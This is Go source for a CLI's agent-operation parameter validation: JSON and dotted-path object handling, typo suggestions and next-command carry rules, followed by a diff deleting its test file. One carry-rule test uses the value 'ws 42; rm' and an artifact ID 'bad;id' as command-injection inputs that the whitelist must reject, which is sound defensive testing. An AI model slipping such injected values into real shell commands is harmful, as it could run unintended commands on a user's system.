return validatedParams{Resolved: resolved, Given: given}, nil
}
// validateObjectJSON is the JSON fallback channel: parse the value as a JSON
// object, validate each member against the declared Fields with the SAME leaf
// rules as the dotted channel, and normalize accepted members into flat dotted
// keys — a provider never sees which channel the caller used. Numbers decode
// via json.Number so "100" stays "100" (no float re-rendering).
func validateObjectJSON(name, val string, obj iagents.CardParam, verb string, seen map[string]bool, given map[string]string, addViol func(string, string, *iagents.CardParam, ...string)) {
if val == "" {
return // `obj=` 空值 = 未提供(与标量语义一致)
}
dec := json.NewDecoder(strings.NewReader(val))
dec.UseNumber()
var anyVal any
if err := dec.Decode(&anyVal); err != nil {
addViol(name, fmt.Sprintf("参数 %s 的 JSON 无法解析(%v也可用点路径逐字段传--param %s.<field>=<value>", name, err, name), nil)
return
}
raw, isObj := anyVal.(map[string]any)
if !isObj {
// 语法合法但不是对象(数组/字符串/数字/布尔/null——用调用方词汇描述
// 不泄漏 Go 反序列化的内部类型文案。
addViol(name, fmt.Sprintf(`参数 %s 需为 JSON 对象(如 {"k":"v"}),得到 %s也可用点路径逐字段传--param %s.<field>=<value>`, name, jsonKindName(anyVal), name), nil)
return
}
fields := map[string]iagents.CardParam{}
for _, f := range obj.Fields {
fields[f.Name] = f
}
for fk, fv := range raw {
full := name + "." + fk
seen[full] = true
cp, ok := fields[fk]
if !ok {
addViol(full, fmt.Sprintf("未知参数 %s%s 可用字段: %s", full, name, fieldNames(obj)), nil, obj.FieldNamesList()...)
continue
}
var sval string
switch tv := fv.(type) {
case string:
sval = tv
case json.Number:
sval = tv.String()
case bool:
sval = strconv.FormatBool(tv)
case nil:
continue // null = 未提供
default:
addViol(full, fmt.Sprintf("参数 %s 不支持嵌套结构(对象字段只能是标量)", full), &cp)
continue
}
if sval == "" {
if cp.Required {
c := cp
c.Name = fk
addViol(full, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", full, verb), &c)
}
continue
}
if err := iagents.ValidateValue(cp, sval); err != nil {
c := cp
addViol(full, fmt.Sprintf("参数 %s %s", full, err.Error()), &c, cp.Enum...)
continue
}
given[full] = canonicalValue(cp, sval)
}
}
// fieldNames renders an object's field list for teaching errors.
func fieldNames(obj iagents.CardParam) string {
return strings.Join(obj.FieldNamesList(), ", ")
}
// unknownParamReason builds the teaching sentence for an undeclared key: if
// another operation of the same spec declares it, name those operations改动
// 词就能修otherwise list this operation's own parameter set改拼写就能修.
func unknownParamReason(key, verb string, declared []iagents.CardParam, spec *iagents.AgentSpec) (string, []string) {
if spec != nil {
var elsewhere []string
for _, o := range spec.Ops() {
if o.Verb == verb || !o.Wired {
continue
}
for _, p := range flatParams(o.Params) {
if p.Name == key {
elsewhere = append(elsewhere, o.Verb)
break
}
}
}
if len(elsewhere) > 0 {
sort.Strings(elsewhere)
// suggestions 保持单一语义(可直接替换的参数名候选):动词名不是参数,
// 不进 suggestions——「声明在: X」的教学已在 reason 里。
return fmt.Sprintf("参数 %s 不适用于 %s它声明在: %s", key, verb, strings.Join(elsewhere, ", ")), nil
}
}
known := make([]string, 0, len(declared))
for _, p := range declared {
known = append(known, p.Name)
}
if len(known) == 0 {
return fmt.Sprintf("未知参数 %s%s 不接受任何业务参数)", key, verb), nil
}
// suggestions 按编辑距离给「可直接替换」的近似候选typo 一步可修);
// 没有近似命中时退回声明序全集。message 始终列全集(发现面完整)。
sugg := nearestNames(key, known, 2)
if len(sugg) == 0 {
sugg = known
}
return fmt.Sprintf("未知参数 %s%s 可用参数: %s", key, verb, strings.Join(known, ", ")), sugg
}
// nearestNames returns the candidates within maxDist Levenshtein distance of
// key, nearest first (stable for ties by candidate order).
func nearestNames(key string, candidates []string, maxDist int) []string {
type scored struct {
name string
d int
}
var hits []scored
for _, c := range candidates {
if d := levenshtein(key, c); d <= maxDist {
hits = append(hits, scored{c, d})
}
}
sort.SliceStable(hits, func(i, j int) bool { return hits[i].d < hits[j].d })
out := make([]string, 0, len(hits))
for _, h := range hits {
out = append(out, h.name)
}
return out
}
// levenshtein is the classic two-row edit distance over runes.
func levenshtein(a, b string) int {
ra, rb := []rune(a), []rune(b)
prev := make([]int, len(rb)+1)
cur := make([]int, len(rb)+1)
for j := range prev {
prev[j] = j
}
for i := 1; i <= len(ra); i++ {
cur[0] = i
for j := 1; j <= len(rb); j++ {
cost := 1
if ra[i-1] == rb[j-1] {
cost = 0
}
cur[j] = min(min(cur[j-1]+1, prev[j]+1), prev[j-1]+cost)
}
prev, cur = cur, prev
}
return prev[len(rb)]
}
func min(a, b int) int {
if a < b {
return a
}
return b
}
// jsonKindName names a decoded JSON value's kind in caller vocabulary.
func jsonKindName(v any) string {
switch v.(type) {
case []any:
return "数组"
case string:
return "字符串"
case json.Number:
return "数字"
case bool:
return "布尔值"
case nil:
return "null"
default:
return "非对象值"
}
}
// canonicalValue normalizes an ACCEPTED scalar to its canonical wire form so a
// provider receives one deterministic literal regardless of the input variant
// or channel: boolean TRUE/1/t → true|false, integer +5/04 → 5/4. The JSON
// channel already produces canonical literals for native types; this closes
// the dotted-path (and JSON string-member) variants to the same form. Values
// that reach here have passed ValidateValue, so parse errors are impossible;
// the input is returned unchanged as a defensive fallback.
func canonicalValue(cp iagents.CardParam, val string) string {
switch cp.Type {
case "boolean":
if b, err := strconv.ParseBool(val); err == nil {
return strconv.FormatBool(b)
}
case "integer":
if n, err := strconv.ParseInt(val, 10, 64); err == nil {
return strconv.FormatInt(n, 10)
}
case "number":
if f, err := strconv.ParseFloat(val, 64); err == nil {
return strconv.FormatFloat(f, 'g', -1, 64)
}
}
return val
}
// dottedFieldNames returns an object's field names in their full dotted form
// (directly substitutable --param keys).
func dottedFieldNames(obj iagents.CardParam) []string {
out := make([]string, 0, len(obj.Fields))
for _, f := range obj.Fields {
out = append(out, obj.Name+"."+f.Name)
}
return out
}
// paramsError folds collected violations into one typed error: a single
// violation keeps its sentence as the message (continuity with the old
// one-error style); several get a count summary, with every violation carried
// structurally in params[].
func paramsError(viols []errs.InvalidParam, verb, ref string) error {
msg := viols[0].Reason
if len(viols) > 1 {
msg = fmt.Sprintf("%s 参数校验失败:%d 处问题(详见 params", verb, len(viols))
}
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", msg).
WithParam("param:" + viols[0].Name).
WithParams(viols...)
return e.WithHint("%s", opHint(ref, verb))
}
// validateListParams is the `agents list <scheme>` variant of validateParams:
// list is a provider-level operation with no agent_ref yet, so there is no
// spec for cross-operation reverse lookup, and the discovery hint points at
// the provider listing's list_parameters instead of an agent card.
func validateListParams(kvs []string, declared []iagents.CardParam, scheme string) (validatedParams, error) {
vp, err := validateParams(kvs, declared, "list", nil, "")
if err != nil {
var verr *errs.ValidationError
if errors.As(err, &verr) {
verr.Hint = fmt.Sprintf("按 params 逐条修正后重发agents list %s 的可用参数见 lark-cli agents list 输出的 providers[].list_parameters", scheme)
}
return validatedParams{}, err
}
return vp, nil
}
// opHint is the operation-scoped discovery hintref 过白名单才内插命令).
func opHint(ref, verb string) string {
if safeNextRef(ref) {
return fmt.Sprintf("按 params 逐条修正后重发;或运行 lark-cli agents card %s --operation %s 查看参数声明", ref, verb)
}
return "按 params 逐条修正后重发;或用 agents card 的 --operation 子查询查看参数声明"
}
// paramArgsFor renders the meta.next carry for target verb V per the
// three-way rule, in declaration order:
// 1. given + value passes the whitelist → carry literally;
// 2. given + value fails the whitelist → required degrades to a placeholder
// (template), optional is dropped宁缺毋歧义;
// 3. absent but required on V → placeholder (template) — the cross-verb hole:
// without this, "链上不丢必填" only holds when the previous verb happened
// to share the parameter.
//
// Defaults are NOT carried (the next hop deterministically re-backfills).
func paramArgsFor(spec *iagents.AgentSpec, verb string, given map[string]string) (args string, templated bool) {
if spec == nil {
return "", false
}
op, ok := spec.Op(verb)
if !ok {
return "", false
}
var b strings.Builder
for _, p := range flatParams(op.Params) {
v, has := given[p.Name]
switch {
case p.NoCarry:
// 每次调用应给新值的参数:给过也不字面上链;必填的降级占位,提醒
// 调用方填一个新值(而不是复用上一次的)。
if p.Required {
fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
templated = true
}
case has && v != "" && safeNextID(v):
fmt.Fprintf(&b, " --param %s=%s", p.Name, v)
case p.Required:
fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
templated = true
}
}
return b.String(), templated
}

View File

@@ -1,682 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"errors"
"reflect"
"strings"
"testing"
baseprovider "github.com/larksuite/cli/agents/base"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
// paramSpec builds a spec with a send declaration (required ws + enum/default
// priority + ranged integer) and a task_list declaration sharing ws — the
// cross-operation reverse-lookup and three-way-carry test bed.
func paramSpec() *iagents.AgentSpec {
ws := iagents.CardParam{Name: "workspace_id", Type: "string", Required: true, Desc: "目标工作区"}
return &iagents.AgentSpec{
Send: iagents.SendOp{
Params: []iagents.CardParam{
ws,
{Name: "priority", Type: "string", Enum: []string{"low", "normal", "high"}, Default: "normal"},
{Name: "max_results", Type: "integer", Min: iagents.Float(1), Max: iagents.Float(100), Default: "20"},
},
Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
},
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
ListTasks: iagents.TaskListOp{
Params: []iagents.CardParam{ws},
Handler: func(context.Context, iagents.Runtime, string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
return nil, iagents.PageInfo{}, nil
},
},
}
}
// TestValidateParams_CollectAll pins the batch contract: every violation in ONE
// error — two missing requireds are impossible on one decl set, so mix missing
// required + unknown key + enum violation and assert all three violations
// surface with self-contained specs.
func TestValidateParams_CollectAll(t *testing.T) {
spec := paramSpec()
_, err := validateParams(
[]string{"priority=urgent", "bogus=1"},
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil {
t.Fatal("should fail with collected violations")
}
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatalf("want *errs.ValidationError, got %T", err)
}
if len(verr.Params) != 3 {
t.Fatalf("want 3 violations (enum + unknown + missing required), got %d: %+v", len(verr.Params), verr.Params)
}
byName := map[string]errs.InvalidParam{}
for _, v := range verr.Params {
byName[v.Name] = v
}
// enum violation lists the full set and embeds the spec
if v := byName["priority"]; !strings.Contains(v.Reason, "low|normal|high") || v.Spec == nil {
t.Errorf("priority violation should list the enum set and embed spec, got %+v", v)
}
// unknown key lists this operation's available params
if v := byName["bogus"]; !strings.Contains(v.Reason, "workspace_id") {
t.Errorf("unknown-key violation should list available params, got %+v", v)
}
// missing required embeds the full declaration so the caller can fix without
// a discovery round-trip
v := byName["workspace_id"]
if !strings.Contains(v.Reason, "缺少必填参数") || v.Spec == nil {
t.Fatalf("missing-required violation should embed spec, got %+v", v)
}
if sp, ok := v.Spec.(iagents.CardParam); !ok || sp.Desc != "目标工作区" {
t.Errorf("embedded spec should be the full CardParam, got %+v", v.Spec)
}
// multi-violation message is a count summary; hint points at --operation
if !strings.Contains(verr.Message, "3 处问题") {
t.Errorf("multi-violation message should carry the count, got %q", verr.Message)
}
if !strings.Contains(verr.Hint, "--operation send") {
t.Errorf("hint should point at card --operation send, got %q", verr.Hint)
}
}
func TestBaseTaskGetAcceptsContextID(t *testing.T) {
provider := baseprovider.Provider()
if len(provider.Catalog) != 1 {
t.Fatalf("base catalog=%d", len(provider.Catalog))
}
spec := &provider.Catalog[0]
got, err := validateParams(
[]string{"base_token=b1", "context_id=7663083417936891420"},
spec.GetTask.Params,
iagents.VerbTaskGet,
spec,
"base:assistant",
)
if err != nil {
t.Fatalf("task_get context_id should pass provider parameter validation: %v", err)
}
want := map[string]string{"base_token": "b1", "context_id": "7663083417936891420"}
if !reflect.DeepEqual(got.Resolved, want) {
t.Fatalf("resolved=%v want %v", got.Resolved, want)
}
}
// TestValidateParams_CrossOpReverseLookup pins the "它声明在" teaching error: a
// param declared on send but passed to task_get names where it lives.
func TestValidateParams_CrossOpReverseLookup(t *testing.T) {
spec := paramSpec()
_, err := validateParams([]string{"priority=high"}, spec.GetTask.Params, iagents.VerbTaskGet, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error(), "不适用于 task_get") || !strings.Contains(err.Error(), "它声明在: send") {
t.Fatalf("cross-op teaching error expected, got %v", err)
}
}
// TestValidateParams_RulesTable covers the remaining violation kinds one by one.
func TestValidateParams_RulesTable(t *testing.T) {
spec := paramSpec()
base := []string{"workspace_id=ws_42"}
cases := []struct {
name string
kvs []string
want string
}{
{"duplicate", append(base, "workspace_id=ws_43"), "重复提供"},
{"empty required", []string{"workspace_id="}, "不能为空值"},
{"malformed", append(base, "noequals"), "key=value"},
{"type mismatch", append(base, "max_results=abc"), "integer"},
{"range violation", append(base, "max_results=500"), "1..100"},
{"zero-param op given a param", nil, ""},
}
for _, tc := range cases[:5] {
t.Run(tc.name, func(t *testing.T) {
_, err := validateParams(tc.kvs, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+errHint(err), tc.want) {
t.Fatalf("want %q in error, got %v", tc.want, err)
}
})
}
// value containing '=' splits on the first '=' only
vp, err := validateParams(append(base, "priority=high"), spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil || vp.Given["workspace_id"] != "ws_42" {
t.Fatalf("valid set should pass: %v %v", vp, err)
}
}
// TestValidateParams_EmptyOptionalTreatedAsAbsent pins the review fix (blocker):
// `k=` on an OPTIONAL param counts as not provided — no violation, no entry in
// Given, and the declared Default still backfills Resolved, so no unvalidated
// "" can ever reach a hook (the rt.Params() contract).
func TestValidateParams_EmptyOptionalTreatedAsAbsent(t *testing.T) {
spec := paramSpec()
vp, err := validateParams([]string{"workspace_id=ws_42", "max_results="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("empty optional should not violate: %v", err)
}
if got := vp.Resolved["max_results"]; got != "20" {
t.Errorf("empty optional must not shadow the default (backfill still applies), got %q", got)
}
if _, ok := vp.Given["max_results"]; ok {
t.Errorf("empty optional must not enter Given, got %v", vp.Given)
}
// empty on a declared optional with default: default wins in Resolved
vp2, err := validateParams([]string{"workspace_id=ws_42", "priority="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("empty optional should not violate: %v", err)
}
if vp2.Resolved["priority"] != "normal" {
t.Errorf("empty optional must not shadow the default, got %q", vp2.Resolved["priority"])
}
// duplicate detection still sees the empty occurrence
_, err = validateParams([]string{"workspace_id=ws_42", "priority=", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+errHint(err), "重复提供") {
t.Fatalf("duplicate after empty occurrence must be reported, got %v", err)
}
}
// TestValidateParams_NoFalseMissingOnInvalidValue pins the review fix: a
// required param given an INVALID value reports exactly the value violation —
// never an additional contradictory "缺少必填参数"; and a duplicate after an
// invalid first value is reported as duplicate, not as the same violation twice.
func TestValidateParams_NoFalseMissingOnInvalidValue(t *testing.T) {
spec := paramSpec()
// make workspace_id enum-constrained for this test via a local declaration
decl := []iagents.CardParam{{Name: "mode", Type: "string", Required: true, Enum: []string{"a", "b"}}}
_, err := validateParams([]string{"mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatalf("want validation error, got %T", err)
}
if len(verr.Params) != 1 {
t.Fatalf("invalid value must yield exactly 1 violation (no false missing-required), got %d: %+v", len(verr.Params), verr.Params)
}
if !strings.Contains(verr.Params[0].Reason, "a|b") {
t.Errorf("the one violation should be the enum violation, got %+v", verr.Params[0])
}
// duplicate after invalid first value → enum violation + duplicate violation
_, err = validateParams([]string{"mode=zzz", "mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
if !errors.As(err, &verr) {
t.Fatalf("want validation error, got %T", err)
}
if len(verr.Params) != 2 {
t.Fatalf("want enum violation + duplicate violation, got %d: %+v", len(verr.Params), verr.Params)
}
kinds := verr.Params[0].Reason + verr.Params[1].Reason
if !strings.Contains(kinds, "a|b") || !strings.Contains(kinds, "重复提供") {
t.Errorf("want one enum + one duplicate violation, got %+v", verr.Params)
}
}
// objSpec is the object-param test bed: send declares a filter object
// (required enum leaf + optional ranged leaf + defaulted bool leaf) and a
// NoCarry trace param shared with task_get.
func objSpec() *iagents.AgentSpec {
trace := iagents.CardParam{Name: "trace_tag", NoCarry: true, Required: true, Desc: "调用链标记(每次新值)"}
return &iagents.AgentSpec{
Send: iagents.SendOp{
Params: []iagents.CardParam{
trace,
{Name: "filter", Type: "object", Desc: "过滤条件", Fields: []iagents.CardParam{
{Name: "region", Enum: []string{"east", "west"}, Required: true},
{Name: "min_amount", Type: "number", Min: iagents.Float(0)},
{Name: "active", Type: "boolean", Default: "true"},
}},
},
Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
},
GetTask: iagents.TaskGetOp{
Params: []iagents.CardParam{trace},
Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil },
},
}
}
// TestValidateParams_ObjectDottedChannel pins the primary object transport:
// dotted leaves validate with leaf rules, defaults backfill per leaf, and the
// canonical Resolved form is flat dotted keys.
func TestValidateParams_ObjectDottedChannel(t *testing.T) {
spec := objSpec()
vp, err := validateParams(
[]string{"trace_tag=t1", "filter.region=east", "filter.min_amount=100"},
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("valid dotted set should pass: %v", err)
}
if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
t.Errorf("dotted leaves should land flat in Resolved, got %v", vp.Resolved)
}
if vp.Resolved["filter.active"] != "true" {
t.Errorf("leaf default should backfill, got %v", vp.Resolved)
}
// leaf teaching errors carry the dotted path
_, err = validateParams([]string{"trace_tag=t1", "filter.region=north"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error(), "filter.region") || !strings.Contains(err.Error(), "east|west") {
t.Fatalf("leaf enum violation should carry the dotted path + full set, got %v", err)
}
// unknown leaf lists the object's field set
_, err = validateParams([]string{"trace_tag=t1", "filter.region=east", "filter.regoin=east"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
t.Fatalf("unknown leaf should list the field set, got %v", err)
}
// missing required leaf reported with dotted name
_, err = validateParams([]string{"trace_tag=t1"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error(), "filter.region") {
t.Fatalf("missing required leaf should be reported by dotted name, got %v", err)
}
}
// TestValidateParams_ObjectJSONChannel pins the fallback transport: a JSON
// value validates per leaf and NORMALIZES into the same flat dotted keys — the
// provider cannot tell which channel the caller used. Mixing channels for one
// object is rejected.
func TestValidateParams_ObjectJSONChannel(t *testing.T) {
spec := objSpec()
vp, err := validateParams(
[]string{"trace_tag=t1", `filter={"region":"east","min_amount":100}`},
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("valid JSON object should pass: %v", err)
}
if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
t.Errorf("JSON members should normalize to flat dotted keys (numbers literal), got %v", vp.Resolved)
}
if vp.Resolved["filter.active"] != "true" {
t.Errorf("leaf default should backfill on the JSON channel too, got %v", vp.Resolved)
}
// invalid JSON → teaching error pointing at the dotted alternative多违规时
// 摘要在 message、明细在 params[],用 listReasons 断言)
_, err = validateParams([]string{"trace_tag=t1", "filter={not json"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(listReasons(err), "JSON 无法解析") {
t.Fatalf("bad JSON should teach, got %v", err)
}
if !strings.Contains(listReasons(err), "点路径") {
t.Fatalf("bad JSON error should point at the dotted alternative, got %v", listReasons(err))
}
// member enum violation carries the dotted path
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"north"}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error(), "filter.region") {
t.Fatalf("JSON member violation should carry the dotted path, got %v", err)
}
// unknown member listed against the field set
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east","foo":1}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
t.Fatalf("unknown JSON member should list fields, got %v", err)
}
// channel mixing rejected
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east"}`, "filter.active=false"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+listReasons(err), "混合提供") {
t.Fatalf("channel mixing should be rejected, got %v", err)
}
}
// listReasons flattens all violation reasons for containment asserts.
func listReasons(err error) string {
var verr *errs.ValidationError
if !errors.As(err, &verr) {
return ""
}
var b strings.Builder
for _, v := range verr.Params {
b.WriteString(v.Reason)
}
return b.String()
}
// TestParamArgsFor_ObjectAndNoCarry pins the carry semantics: object leaves
// carry as ordinary scalars; NoCarry params never ride literally — required
// ones degrade to placeholders so the caller supplies a FRESH value.
func TestParamArgsFor_ObjectAndNoCarry(t *testing.T) {
spec := objSpec()
given := map[string]string{"trace_tag": "t1", "filter.region": "east", "filter.min_amount": "100"}
args, tpl := paramArgsFor(spec, iagents.VerbSend, given)
if strings.Contains(args, "trace_tag=t1") {
t.Errorf("NoCarry param must never ride literally, got %q", args)
}
if !strings.Contains(args, "--param trace_tag=<trace_tag>") || !tpl {
t.Errorf("required NoCarry should degrade to a placeholder, got %q tpl=%v", args, tpl)
}
if !strings.Contains(args, "--param filter.region=east") || !strings.Contains(args, "--param filter.min_amount=100") {
t.Errorf("object leaves should carry as ordinary scalars, got %q", args)
}
// target verb without the object (task_get) → only its own declaration carries
args, _ = paramArgsFor(spec, iagents.VerbTaskGet, given)
if strings.Contains(args, "filter") {
t.Errorf("params undeclared on the target verb must not carry, got %q", args)
}
}
func errHint(err error) string {
if p, ok := errs.ProblemOf(err); ok {
return p.Hint
}
return ""
}
// TestValidateParams_DefaultBackfill pins Resolved vs Given: defaults land in
// Resolved (what the hook sees) but never in Given (what meta.next carries).
func TestValidateParams_DefaultBackfill(t *testing.T) {
spec := paramSpec()
vp, err := validateParams([]string{"workspace_id=ws_42"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("should pass: %v", err)
}
if vp.Resolved["priority"] != "normal" || vp.Resolved["max_results"] != "20" {
t.Errorf("defaults should backfill Resolved, got %v", vp.Resolved)
}
if _, ok := vp.Given["priority"]; ok {
t.Errorf("defaults must NOT appear in Given (meta.next noise), got %v", vp.Given)
}
// an explicitly provided value overrides the default in Resolved
vp2, _ := validateParams([]string{"workspace_id=ws_42", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if vp2.Resolved["priority"] != "high" || vp2.Given["priority"] != "high" {
t.Errorf("explicit value should override default, got %v / %v", vp2.Resolved, vp2.Given)
}
}
// TestParamArgsFor pins the three-way carry rule.
func TestParamArgsFor(t *testing.T) {
spec := paramSpec()
// 1) given + whitelisted → literal carry (declaration order)
args, tpl := paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws_42", "priority": "high"})
if args != " --param workspace_id=ws_42 --param priority=high" || tpl {
t.Errorf("literal carry wrong: %q tpl=%v", args, tpl)
}
// 2) given but whitelist-failing → required degrades to placeholder,
// optional drops
args, tpl = paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws 42; rm", "priority": "值 带 空格"})
if !strings.Contains(args, "--param workspace_id=<workspace_id>") || strings.Contains(args, "priority") || !tpl {
t.Errorf("degrade rule wrong: %q tpl=%v", args, tpl)
}
// 3) absent but required on the target verb → placeholder (cross-verb hole)
args, tpl = paramArgsFor(spec, iagents.VerbTaskList, map[string]string{})
if args != " --param workspace_id=<workspace_id>" || !tpl {
t.Errorf("required-absent placeholder wrong: %q tpl=%v", args, tpl)
}
// nil spec / unknown verb carry nothing
if a, _ := paramArgsFor(nil, iagents.VerbSend, nil); a != "" {
t.Errorf("nil spec should carry nothing, got %q", a)
}
}
// TestNextForTaskCarriesParams pins the wired outcome: a send with given params
// yields a poll hint carrying them literally.
func TestNextForTaskCarriesParams(t *testing.T) {
spec := paramSpec()
task := &iagents.AgentTask{TaskID: "task_1", State: iagents.StateWorking}
// task_get declares no params on this spec → nothing to carry for the poll
next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
if len(next) != 1 || strings.Contains(next[0].Command, "--param") {
t.Fatalf("task_get declares no params, poll hint should carry none: %+v", next)
}
// give task_get a required param → the poll hint must carry it
spec.GetTask.Params = []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}}
next = nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
if !strings.Contains(next[0].Command, "--param workspace_id=ws_42") {
t.Fatalf("poll hint should carry the given required param: %+v", next)
}
// absent → placeholder + template
next = nextForTask("acme:reporter", task, spec, nil, iagents.VerbSend)
if !strings.Contains(next[0].Command, "--param workspace_id=<workspace_id>") || !next[0].Template {
t.Fatalf("absent required should degrade to placeholder+template: %+v", next)
}
}
// TestArtifactNext pins the per-artifact download hints: terminal task +
// wired DownloadArtifact → one template hint per whitelisted artifact id;
// whitelist-failing ids are skipped (never interpolated).
func TestArtifactNext(t *testing.T) {
spec := paramSpec()
spec.DownloadArtifact = iagents.ArtifactDownloadOp{
Params: []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}},
Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
}
task := &iagents.AgentTask{
TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
Artifacts: []iagents.Artifact{{ID: "art_1"}, {ID: "bad;id"}, {ID: "art_2"}},
}
next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
var downloads []string
for _, n := range next {
if strings.Contains(n.Command, "--artifact") {
downloads = append(downloads, n.Command)
if !n.Template {
t.Errorf("download hint has a -o placeholder, must be template: %+v", n)
}
}
}
if len(downloads) != 2 {
t.Fatalf("want 2 download hints (bad;id skipped), got %d: %v", len(downloads), downloads)
}
for _, c := range downloads {
if !strings.Contains(c, "--param workspace_id=ws_42") || !strings.Contains(c, "-o <保存路径>") {
t.Errorf("download hint should carry params and the -o placeholder: %q", c)
}
if strings.Contains(c, "bad;id") {
t.Errorf("whitelist-failing artifact id leaked: %q", c)
}
}
// unwired DownloadArtifact → no hints
spec.DownloadArtifact = iagents.ArtifactDownloadOp{}
if n := artifactNext("acme:reporter", task, spec, nil); n != nil {
t.Errorf("unwired artifact_download should produce no hints, got %+v", n)
}
}
// TestCardOperationSubquery pins `card --operation <verb>` against the real
// example provider: reporter's send contract carries command + parameters;
// unknown verb lists the vocabulary; unwired verb answers supported:false; a
// wired zero-param verb answers parameters:[].
func TestCardOperationSubquery(t *testing.T) {
decode := func(t *testing.T, opts *cardOptions) map[string]any {
t.Helper()
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card --operation should not error: %v", err)
}
var env struct {
Data map[string]any `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
return env.Data
}
opts, _ := cardTestOpts(t, "example:reporter")
opts.Operation = "send"
data := decode(t, opts)
if data["operation"] != "send" || data["supported"] != true {
t.Fatalf("send contract wrong: %v", data)
}
if cmdStr, _ := data["command"].(string); !strings.Contains(cmdStr, "lark-cli agents send") {
t.Errorf("contract should carry the command template, got %v", data["command"])
}
params, _ := data["parameters"].([]any)
if len(params) != 3 {
t.Fatalf("reporter send declares 3 demo params (2 scalars + render object), got %v", data["parameters"])
}
first, _ := params[0].(map[string]any)
if first["name"] != "report_format" || first["default"] != "csv" {
t.Errorf("first param should be report_format with default csv, got %v", first)
}
// unwired verb → supported:false
opts2, _ := cardTestOpts(t, "example:echo")
opts2.Operation = "task_cancel"
data = decode(t, opts2)
if data["supported"] != false {
t.Errorf("echo task_cancel should be supported:false, got %v", data)
}
// wired zero-param verb → parameters []
opts3, _ := cardTestOpts(t, "example:echo")
opts3.Operation = "context_delete"
data = decode(t, opts3)
if data["supported"] != true {
t.Fatalf("echo context_delete should be supported, got %v", data)
}
if ps, ok := data["parameters"].([]any); !ok || len(ps) != 0 {
t.Errorf("zero-param op should answer parameters:[], got %v", data["parameters"])
}
// unknown verb → invalid_argument listing the vocabulary
opts4, _ := cardTestOpts(t, "example:echo")
opts4.Operation = "sennd"
err := agentCardRun(opts4)
if err == nil || !strings.Contains(err.Error(), "task_get") || !strings.Contains(err.Error(), "all") {
t.Fatalf("unknown verb should list the vocabulary, got %v", err)
}
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown verb should be invalid_argument, got %+v", p)
}
}
// TestCardOperationInstanceShape pins the review fix: on an INSTANCE provider
// (fakeflow), the single-verb --operation output reuses the struct — an
// unwired verb carries NO command key (omitempty, not command:"") and every
// response carries parameters_source:"template".
func TestCardOperationInstanceShape(t *testing.T) {
registerScripted()
opts, _ := cardTestOpts(t, "fakemin:agt_x")
opts.Operation = "task_cancel" // minimalSpec leaves CancelTask unwired
